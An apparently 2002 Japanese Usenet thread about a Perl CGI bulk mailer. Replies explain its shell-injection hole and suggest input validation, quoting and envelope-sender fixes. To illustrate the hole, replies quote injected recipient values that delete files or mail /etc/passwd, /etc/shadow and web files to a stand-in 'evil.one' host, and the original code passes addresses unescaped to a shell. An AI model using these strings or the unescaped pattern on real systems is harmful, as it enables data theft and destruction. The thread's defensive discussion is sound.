CGIを使って多数の人に一括してメールを送るプログラムを
作りました。
一応、動くには動いているのですが色々とやりにくい面もあります。
1.メールサーバの負荷が高くなるので分散したい。(niceコマンド?)
2.届かなかったメールは nobody宛に届いている。このあて先を変えたい。
プログラムは Perlで組んでいます。
ロジックは以下の様な感じです。
foreach $i ( @recipients ){
open(FH, "| nkf -j | /usr/sbin/sendmail $i") or warn;
# メールの送信
print FH "From: $from\n";
print FH "To: $i\n";
print FH "Reply-to: $reply\n";
print FH "Errors-to: $errto\n";
print FH "Subject: $subject\n\n"; # 空行込み
print FH "$text";
# ブラウザに進行状況を表示
print "[$i] 送信OK!<BR>\n";
close FH;
}
1の問題はブラウザに応答を返さないといけないので仕方ない
のでしょうか?
例えばループの最後に sleep 1 とか入れちゃえばいいのかな?
2の問題は Errors-to を指定しているのにもかかわらず、
HostUnknownなどのエラーは
MAILER-DAEMON → nobody に届きます。
nobodyはWebサーバ(CGI)のオーナーだからと思いますが・・・。
In article <asesf8$bg3$1...@nn-os104.ocn.ad.jp>, "hanaji" <han...@clubaa.com> writes
>CGIを使って多数の人に一括してメールを送るプログラムを
>作りました。
最近は、こういうの作ると悪用されるだけっていう話もあるけど....
なので、「作らないほうがいい」っていう説もありますね。
たぶん、QuickMLみたいなを使った方がいいと思う。
>1.メールサーバの負荷が高くなるので分散したい。(niceコマンド?)
nice は I/O boundなプログラムには意味ないです。そんなことせずに、
逐次で送るのが良いね。
>例えばループの最後に sleep 1 とか入れちゃえばいいのかな?
そんな単純な問題じゃないです。sendmail側で工夫しないとだめ
だと思う。
>2.届かなかったメールは nobody宛に届いている。このあて先を変えたい。
まぁ、このあたりはヘッダの問題でしょうけど。
>プログラムは Perlで組んでいます。
>ロジックは以下の様な感じです。
>foreach $i ( @recipients ){
> open(FH, "| nkf -j | /usr/sbin/sendmail $i") or warn;
最近のnkfは(って他人事かい)MIMEをデフォルトでデコードしちゃう
のもあるみたいなので、-m0 あたりをつけておいたほうがいいかも
知れないです。
---
Shinji KONO @ Information Engineering, University of the Ryukyus,
PRESTO, Japan Science and Technology Corporation
河野真治 @ 琉球大学工学部情報工学科,
科学技術振興事業団さきがけ研究21(機能と構成)
"Shinji KONO" <ko...@ie.u-ryukyu.ac.jp> wrote in message
news:27281.10...@insigna.ie.u-ryukyu.ac.jp...
> 河野 真治@琉球大情報工学です。
>
> In article <asesf8$bg3$1...@nn-os104.ocn.ad.jp>, "hanaji" <han...@clubaa.com>
writes
> >CGIを使って多数の人に一括してメールを送るプログラムを
> >作りました。
>
> 最近は、こういうの作ると悪用されるだけっていう話もあるけど....
> なので、「作らないほうがいい」っていう説もありますね。
> たぶん、QuickMLみたいなを使った方がいいと思う。
そうですね。一応、この部分は注意しているつもりです。
このプログラムにたどり着くまでに色々、制限もかけてあります。
あと利用者(経理の女の子)にも重要性を教えています。
> >1.メールサーバの負荷が高くなるので分散したい。(niceコマンド?)
>
> nice は I/O boundなプログラムには意味ないです。そんなことせずに、
> 逐次で送るのが良いね。
つまり現状のままということでしょうか?
> >例えばループの最後に sleep 1 とか入れちゃえばいいのかな?
>
> そんな単純な問題じゃないです。sendmail側で工夫しないとだめ
> だと思う。
やはり(^^ゞ。sendmailで工夫となるとスキルが・・・。
#プロバイダなどで配信されるお知らせメールなどはどうやってるんだろ?
本題とは関係ないです。
"Shinji KONO" <ko...@ie.u-ryukyu.ac.jp> wrote in message
news:27281.10...@insigna.ie.u-ryukyu.ac.jp...
> 河野 真治@琉球大情報工学です。
> >プログラムは Perlで組んでいます。
> >ロジックは以下の様な感じです。
> >foreach $i ( @recipients ){
> > open(FH, "| nkf -j | /usr/sbin/sendmail $i") or warn;
>
> 最近のnkfは(って他人事かい)MIMEをデフォルトでデコードしちゃう
> のもあるみたいなので、-m0 あたりをつけておいたほうがいいかも
> 知れないです。
河野さんに nkf の事を教えてもらってうれしいです。
ありがとうございます。
"hanaji" <han...@clubaa.com> wrote in message
news:asgtqi$688$1...@nn-os102.ocn.ad.jp...
> hanajiです。
[...]
> > 最近は、こういうの作ると悪用されるだけっていう話もあるけど....
> > なので、「作らないほうがいい」っていう説もありますね。
> > たぶん、QuickMLみたいなを使った方がいいと思う。
>
> そうですね。一応、この部分は注意しているつもりです。
> このプログラムにたどり着くまでに色々、制限もかけてあります。
> あと利用者(経理の女の子)にも重要性を教えています。
recipients の入力や管理は誰が行うのか、にもよりますが、
SPAM の中継に使われないように、だけでなく "hoge; rm -rf /"
のようなメールアドレスが入力されないか注意が必要なことは
言うまでもありません。
> > >1.メールサーバの負荷が高くなるので分散したい。(niceコマンド?)
> >
> > nice は I/O boundなプログラムには意味ないです。そんなことせずに、
> > 逐次で送るのが良いね。
>
> つまり現状のままということでしょうか?
メールサーバーの負荷よりも、cgi を走らせる http サーバーの負荷
が気になります。ループの中に sendmail があるところがね。
・メッセージの内容は一人一人違うのでしょうか。まとめて送っては
だめなのか。
・sendmail を起動するよりも、メールサーバーと直接 smtp を話せば
よいかと思います。Mail::Mailer などが使えます。
メッセージのサイズや送付先の数がわからないので何とも言えませんが
メールサーバーの心配をするのはまだ先のような気がします。どうしても
気になるようであれば、人数を区切ってしばらく休むしかないですね。
(1秒とかではなく、分単位で)
"Toru Shiono" <tsh...@cv.sony.co.jp> wrote in message
news:ashb7i$c8b$1...@vega.noc.sony.co.jp...
> メールサーバーの負荷よりも、cgi を走らせる http サーバーの負荷
> が気になります。ループの中に sendmail があるところがね。
>
> ・メッセージの内容は一人一人違うのでしょうか。まとめて送っては
> だめなのか。
これはまとめて送っても良いのですが、その場合
●To(Bcc?)に いくつまで羅列できるのか?
●一人一人は他の人のメールアドレスを知られないようにしたい
という問題があったので使っていません。
> ・sendmail を起動するよりも、メールサーバーと直接 smtp を話せば
> よいかと思います。Mail::Mailer などが使えます。
ありがとうございます。これは知りませんでした。
しかし、教えてもらって恐縮ですがこの対応をした場合、どれぐらい
効率があがるのでしょうか?
> メッセージのサイズや送付先の数がわからないので何とも言えませんが
> メールサーバーの心配をするのはまだ先のような気がします。どうしても
> 気になるようであれば、人数を区切ってしばらく休むしかないですね。
> (1秒とかではなく、分単位で)
サイズは全然大きくないです。せいぜい 40KByte ぐらい。
送付先の数は 約2000 です。まぁ 5000 ぐらいまで出来れば可程度。
塩野さんのおっしゃるとおり、まだ先の話だとは思います。
私も利用者に「送信は 500人単位で区切って送って」って言っています。
しかし使う側の人間から
「なんで分割して送るの?面倒臭いし間違うかもしれない」
と言われるのと、HostUnknownなどのエラーメールがシステム管理者(私)
に届いて、それをいちいち抜粋して担当に教えなければならない。
という事から質問した次第です。
<ashisc$lh2$1...@nn-os103.ocn.ad.jp>の記事において
han...@clubaa.comさんは書きました。
> "Toru Shiono" <tsh...@cv.sony.co.jp> wrote in message
> news:ashb7i$c8b$1...@vega.noc.sony.co.jp...
> > メールサーバーの負荷よりも、cgi を走らせる http サーバーの負荷
> > が気になります。ループの中に sendmail があるところがね。
> >
> > ・メッセージの内容は一人一人違うのでしょうか。まとめて送っては
> > だめなのか。
>
> これはまとめて送っても良いのですが、その場合
> ●To(Bcc?)に いくつまで羅列できるのか?
> ●一人一人は他の人のメールアドレスを知られないようにしたい
> という問題があったので使っていません。
Bcc にすればまとめてもアドレスが見えません。ただし、to に宛て先を
明示したいけれど、他の人のアドレスは分からないようにしたいなら、
確かにおっしゃるようにせざる得ないでしょう。
> > ・sendmail を起動するよりも、メールサーバーと直接 smtp を話せば
> > よいかと思います。Mail::Mailer などが使えます。
>
> ありがとうございます。これは知りませんでした。
> しかし、教えてもらって恐縮ですがこの対応をした場合、どれぐらい
> 効率があがるのでしょうか?
これは、「分散したい」に対する回答かと。
MTA と smtp で直にやりとりするなら、MTA のホストを切り替えれば分
散出来ますよね?
まあ、結果的に効率が上がるかもしれないですが。
あとは、細かいこといえば、smtp で繋ぎに行ったら忙しいと断られたと
きにどうするんだとかいったこととかはあるですが。
> しかし使う側の人間から
> 「なんで分割して送るの?面倒臭いし間違うかもしれない」
> と言われるのと、HostUnknownなどのエラーメールがシステム管理者(私)
> に届いて、それをいちいち抜粋して担当に教えなければならない。
> という事から質問した次第です。
Unix from 行を換えられれば問題なさそうな。
# qmail だと qmail-inject を使って発信なら、-f オプションで済んで
# しまうのですが。
# 蛇足ながら、送信ログを付けるように CGI を作っておいた方が、それ
# がずっこけたときにどこまで送ったかすぐ分かるので良いですよ。
--
成田 隆興 @ エー・アイ・ソフト株式会社ソリューシュン開発部
E-mail tak...@aisoft.co.jp
『十分間で決断し、短い理由を添えよ。』
もとの投稿でほんとうに次のようなコードが使われているとしたら、
>foreach $i ( @recipients ){
> open(FH, "| nkf -j | /usr/sbin/sendmail $i") or warn;
> # メールの送信
recipients の内容にいれるところで厳しいチェックをしてない限り
なんでもありそうな気がするのですが。非破壊的でも
cat /etc/passwd | mail foobar
cat /etc/shadow | mail foobar
とか。。。
勘違いかな。
--
int main(void){int j=2002;/*(c)2002 cishikawa. */
char t[] ="<CI> @abcdefghijklmnopqrstuvwxyz.,\n\"";
char *i ="h>qtCIuqivb,gCwe\np@.ietCIuqi\"tqkvv is>dnamz";
while(*i)((j+=strchr(t,*i++)-(int)t),(j%=sizeof t-1),
(putchar(t[j])));return 0;}/* under GPL */
バウンズメイルはメイルヘッダの Errors-To: ではなく、enverope sender
address に送られます。
-f で envelope sender address をしてみてはどうでしょうか。
--
Hiroshi Fujishima
"Ishikawa" <ishi...@yk.rim.or.jp> wrote in message
news:3DF192DF...@yk.rim.or.jp...
>
> > SPAM の中継に使われないように、だけでなく "hoge; rm -rf /"
> > のようなメールアドレスが
>
> もとの投稿でほんとうに次のようなコードが使われているとしたら、
>
> >foreach $i ( @recipients ){
> > open(FH, "| nkf -j | /usr/sbin/sendmail $i") or warn;
> > # メールの送信
>
> recipients の内容にいれるところで厳しいチェックをしてない限り
> なんでもありそうな気がするのですが。非破壊的でも
> cat /etc/passwd | mail foobar
> cat /etc/shadow | mail foobar
> とか。。。
プログラムでは以下の様な感じでチェックしてます。
#!/usr/bin/perl
use CGI qw(:standard);
$ENV{'IFS'} = undef;
$ENV{'PATH'} = undef;
$ENV{'LD_LIBRARY_PATH'} = undef;
...
foreach $to( @recipients ){
push @buf, "$to が正しくない" if $to !~ /^[^@]+@[^.]+\..+/;
}
厳密なチェックをするときりが無いような気がします。
プログラムではこの程度ですが、+Webサーバでも認証をかけてます
し、IPアドレスチェックもしています。一応、FireWallもあります。
うちは小さな会社なので、これで大丈夫だと思っていますが、
逆にこんな会社のこんなプログラムにハッキングしてきたら
それはそれで問題!?
"hanaji" <han...@clubaa.com> wrote in message
news:at0vo4$gsq$1...@nn-os103.ocn.ad.jp...
> hanaji@元ネタ発信者です。
[...]
> プログラムでは以下の様な感じでチェックしてます。
> #!/usr/bin/perl
> use CGI qw(:standard);
> $ENV{'IFS'} = undef;
> $ENV{'PATH'} = undef;
> $ENV{'LD_LIBRARY_PATH'} = undef;
> ...
> foreach $to( @recipients ){
> push @buf, "$to が正しくない" if $to !~ /^[^@]+@[^.]+\..+/;
> }
>
> 厳密なチェックをするときりが無いような気がします。
> プログラムではこの程度ですが、+Webサーバでも認証をかけてます
> し、IPアドレスチェックもしています。一応、FireWallもあります。
> うちは小さな会社なので、これで大丈夫だと思っていますが、
> 逆にこんな会社のこんなプログラムにハッキングしてきたら
> それはそれで問題!?
そもそもセキュリティポリシーを決めるうえで重要なことの一つとして
「誰にアクセスを許すか」、この場合では「メールアドレスを誰が入力
するか」を考えなくてはなりません。会社の規模は関係ありません。
以下のいずれになるのでしょうか。
1) ごく限られたスタッフ
2) 社内ユーザー
3) 全世界
1),2) の場合はまあ実用上許されるかも知れません。誰か悪さをしたら、
社内規定で処理してもらえれば良い話です。ですからその場合は以後の
議論は読み飛ばしていただいて構いません。
3) の場合は注意が必要です。上記の正規表現では、メールアドレスっぽい
ものの後ろに何を書いてもマッチしてしまいます。もうやりたい放題ですね。
$to = "ho...@hoge.hoge; ls -la /etc/* | mail so...@evil.one";
$to = "ho...@hoge.hoge; cat /var/httpd/* | mail so...@evil.one";
「厳密なチェックをするときりがない」という以前に、現状かなり抜けが
あると思いますよ。たしかに RFC2822 で規定されているメールアドレス
を正規表現で実装するのは結構むずかしいですが、最低限以下の
チェックは必要かと思います。
NG処理 if $to =~ /[^\x21-\x7E]/;
NG処理 if $to =~ /[\(\)<>,;:\\"\[\]]/;
NG処理 if $to !~ /^[^@]+@[^@]+$/;
CGI の危ないところは、せっかく http サーバーがアクセスできる領域を
隔離しているにもかかわらず、CGI を使うとその制約がなくなり、事実上
どこでも(パーミッションの制約はありますが)アクセスできてしまう点です。
まあこれは CGI の問題と言うより OS の問題かな。Plan9 を使うと幸せに
なれるらしい。
<at3ojn$195$1...@vega.noc.sony.co.jp>の記事において
tsh...@cv.sony.co.jpさんは書きました。
:
> CGI の危ないところは、せっかく http サーバーがアクセスできる領域を
> 隔離しているにもかかわらず、CGI を使うとその制約がなくなり、事実上
> どこでも(パーミッションの制約はありますが)アクセスできてしまう点です。
> まあこれは CGI の問題と言うより OS の問題かな。Plan9 を使うと幸せに
> なれるらしい。
UNIX 系でしたら、砂場に http サーバを突っ込めば多少は気休めになる
かも。
どうやら
Ishikawa <ishi...@yk.rim.or.jp> wrote in message
news:<3DF192DF...@yk.rim.or.jp>...
> cat /etc/passwd | mail foobar
このパスワード送信部分に悪意あるスクリプトであるとの
誤認識をしたようです.
以前は別のグループにマクロ系や実行形式のウイルスが投稿され
その時もチェックに掛かっていましたが今回は一目見ただけでは
マクロでも実行ファイルの添付でも無いファイルの検出だったので
何が起きたのか最初わかりませんでした.(^^;
<3a69df27.02120...@posting.google.com>の記事において
pep...@mail.goo.ne.jpさんは書きました。
> Ishikawa <ishi...@yk.rim.or.jp> wrote in message
> news:<3DF192DF...@yk.rim.or.jp>...
> > cat /etc/passwd | mail foobar
>
> このパスワード送信部分に悪意あるスクリプトであるとの
> 誤認識をしたようです.
fj.comp.security で <at2gqt$2toi$1...@nwall2.odn.ne.jp> 以下に
出ています.
# そうそう,メールのやり取りだけじゃなく,samba 共有フォルダとかも
# おかしなことになるよなぁ...
> 以前は別のグループにマクロ系や実行形式のウイルスが投稿され
> その時もチェックに掛かっていましたが今回は一目見ただけでは
> マクロでも実行ファイルの添付でも無いファイルの検出だったので
> 何が起きたのか最初わかりませんでした.(^^;
昔は,ウィルス検出はもっと高度なことをやっているのだとばかり
思っていましたが,この程度なんですね...
# まあ,亜種への対策や悪意の予防(予測?)なる世界に
# 行こうとするとある程度は仕方ない部分もあるとは思いますが...
--
∧∧
Zzz.. (- - )⌒⌒⊇~ 川口 銀河
############## gi...@athena.club.ne.jp
私の投稿の背景の説明は
塩野さんが別に詳しくおこなってくれたので問題ないとおもいますが、
こっちはこっちでびっくり :ー)
> この記事からのスレッドで
> Unix.Penguin
> http://www.symantec.com/region/jp/sarcj/data/u/unix.penguin.html
> を検出しました.
>
> どうやら
>
> Ishikawa <ishi...@yk.rim.or.jp> wrote in message
> news:<3DF192DF...@yk.rim.or.jp>...
> > cat /etc/passwd | mail foobar
>
> このパスワード送信部分に悪意あるスクリプトであるとの
> 誤認識をしたようです.
あらま。
> その時もチェックに掛かっていましたが今回は一目見ただけでは
> マクロでも実行ファイルの添付でも無いファイルの検出だったので
> 何が起きたのか最初わかりませんでした.(^^;
お騒がせしてます。
"Toru Shiono" <tsh...@cv.sony.co.jp> wrote in message
news:at3ojn$195$1...@vega.noc.sony.co.jp...
> 塩野@ソニーです。
> そもそもセキュリティポリシーを決めるうえで重要なことの一つとして
> 「誰にアクセスを許すか」、この場合では「メールアドレスを誰が入力
> するか」を考えなくてはなりません。会社の規模は関係ありません。
> 以下のいずれになるのでしょうか。
>
> 1) ごく限られたスタッフ
> 2) 社内ユーザー
> 3) 全世界
一応、1)に相当するのでホッとしてます。
> 3) の場合は注意が必要です。上記の正規表現では、メールアドレスっぽい
> ものの後ろに何を書いてもマッチしてしまいます。もうやりたい放題ですね。
>
> $to = "ho...@hoge.hoge; ls -la /etc/* | mail so...@evil.one";
> $to = "ho...@hoge.hoge; cat /var/httpd/* | mail so...@evil.one";
>
> 「厳密なチェックをするときりがない」という以前に、現状かなり抜けが
> あると思いますよ。たしかに RFC2822 で規定されているメールアドレス
> を正規表現で実装するのは結構むずかしいですが、最低限以下の
> チェックは必要かと思います。
先に書いた正規表現は http://www.itboost.co.jp/perl/perl_05.php から
拝借したものでしたが、このページにも
「実際の MTA が扱えるメールアドレスとは乖離があります。」
と記述されています。
よって
> NG処理 if $to =~ /[^\x21-\x7E]/;
> NG処理 if $to =~ /[\(\)<>,;:\\"\[\]]/;
> NG処理 if $to !~ /^[^@]+@[^@]+$/;
もロジックに追加させて頂きます。
ありがとうございました。
open(FH, "| nkf -j | /usr/sbin/sendmail $i") に渡すことが前提で、かつ
とりあえず好き勝手されることだけ避けたければ、こんな逃げもあるかも。
$to =~ s/'/'\\''/g; $to = "'$to'";
こうすれば、特殊文字を混ぜてもquoteされるので、メールの宛て先不存在でエ
ラーにはなるものの、壊滅的な被害は避けられます。
# IFSを変えて起動したりはできないんですよね?